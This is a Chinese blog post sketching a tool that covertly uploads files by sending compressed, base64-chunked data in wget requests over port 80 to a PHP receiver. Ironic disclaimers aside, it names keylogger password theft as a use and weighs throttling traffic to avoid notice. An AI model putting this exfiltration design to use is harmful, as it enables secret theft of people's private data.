首先…先只是個Idea
我還是得強調一下,我這個人是一個非常善良的人,決不會有什麼不良的動機。
這支程式叫 Multi-Uploader
我畫了一下心中的藍圖~
我希望在linux,下了一行指令,可以把指定的檔案丟到遠端去,通訊協定不用另外加開,而是只要在有網路的情況下~
透過80,把檔案噗咻咻的丟出去~
如果不考慮很多複雜的手法,其實你也只需要在遠端有個接受器,在本機端有個wget就可以實作達成~
哪泥!?用wget來作檔案傳輸?
高手們可別笑我,如果有更好的idea,盡情指教啊~~
小弟真的見識短淺,寫程式不大收集素材…
我心中的程式如下
./multi_uploader [Source] [Target_IP]
然後檔案就這樣「飛…了出去」
呃…以上是大概介紹了一下這個小工具可以達成的目地吧~
善良的人決不會把這種程式殖入別人的電腦,拿來作成 keylogger 傳遞帳號密碼或其他隱私的資料。
而是會散加利用,改善使用網路時,有時檔案對傳發生困難的囧境~
我的撰寫藍圖大致上規劃如下…
首先,你需要幾個外部的程式~(小弟寫程式很愛用外部指令…)
wget、gzip、zip、tar、base64...
小弟寫程式時,心理總期待這些臨時的外部指令~總有一天會有更善良的人來加以改良使其更小更好更快啦~
而…起頭,只是個開始~
第一步,將 [Source] 壓縮再壓縮。(你不希望要上傳個東西又肥又大吧,何況像 keylogger 這種東西還保留明碼上傳是想被mis看到嗎? 馬的…我在寫什麼啊= =)
第二步,將檔案轉成 base64,然後參考php.net裡面有人提到的base64壓縮傳輸的encode/decode拿來實作一下讓明碼文的檔案變小…
第三步,將 base64 切割,大概每800~900字為單位作一次性的傳輸。
第四步,我想其實你大概知道我想幹嘛了...
wget http://[Target_IP]/getFile.php?base64=asdfjhadsfkjshfdksajfdhkjadhfsajfhsafdxxxxx.....&
wget http://[Target_IP]/getFile.php?base64=asdfjhadsfkjshfdksajfdhkjadhfsajfhsafdxxxxx.....&
wget http://[Target_IP]/getFile.php?base64=asdfjhadsfkjshfdksajfdhkjadhfsajfhsafdxxxxx.....&
wget http://[Target_IP]/getFile.php?base64=asdfjhadsfkjshfdksajfdhkjadhfsajfhsafdxxxxx.....&
...
...
..
.
然後 multi-thread 分梯送出
要分時嗎?讓流量小點看不出來??...
要作續傳嗎?傳成功就不傳?multi-thread一次幾次?5次?作queue?
第一個版本先作個 簡單版 的好了…免得累死自己,失敗又沒成就感繼續下去Orz
第五步,接下來是接收端了~
接收端打算用php寫就好,反正就是重組這些base64明碼文,再反解回去寫成檔案就好。
---
以上,其實概念大概就是如此~
接下來討論一下,要傳輸的內容…請翻下一頁吧~
檔案傳輸的內容,我大概想了一下…應該要有下面幾個東東~
一、檔名,原來的 source name
二、檔案原始的大小,拿來比對用的,免得失敗
三、執行 Multi-Uploader 後,分割後的base64字元總長度
四、被分割的總長度
五、分割的區段ID,這樣重組的時候才不會亂掉…
寫到這…我忽然覺得寫 flashget 的人真強…
寫大程式的人真是怪咖~
怪咖就算了…越寫越肥還可以塞那麼多廣告…不知道他有沒有賺到錢~??
呼…好吧大概是上面的五點,以後想到就再補…
還好我們這種小咖的程式,應該一個晚上~二個晚上就寫好了,以後用處多多~
再來…只好等程式實作完成,才能再介紹了…
(待續嘍…)